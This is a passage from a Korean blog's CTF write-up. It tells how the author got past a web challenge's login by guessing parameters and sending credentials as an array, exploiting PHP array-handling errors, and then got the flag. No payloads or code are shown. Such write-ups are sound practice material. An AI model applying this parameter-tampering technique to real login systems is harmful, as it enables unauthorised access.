여기서 삽질을 좀 했는데 분명 아이디랑 패스워드 정보나 그외의 어떠한 유효한 데이터가 제대로 요청이 안된 것 같아서 요청 파라미터를 추측해서 id,user,password등 이것저것 넣어봤는데 안되서 아예 잘못생각하고 있나하다가 혹시하고 에러메시지에 포함된 credentials이라는 파라미터를 날려보니 아래와 같이 에러 메시지가 변경한걸 볼 수 있었다.

 

 

 

위의 에러메시지로 구글링좀 해보니 주로 Array데이터를 php에서 처리할때 발생하는 에러메시지 같았고 아래와 같이 요청해보니 에러메시지가 사라졌고 여기다 아이디,패스워드 넣어보내면 되겠구나 하고 생각해 실제로 넣어보니 플래그가 나왔다.

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Buy flags  (0) 2018.05.01
HITB-XCTF 2018 upload  (0) 2018.04.14
Byte Bandits CTF R3M3MB3R  (0) 2018.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,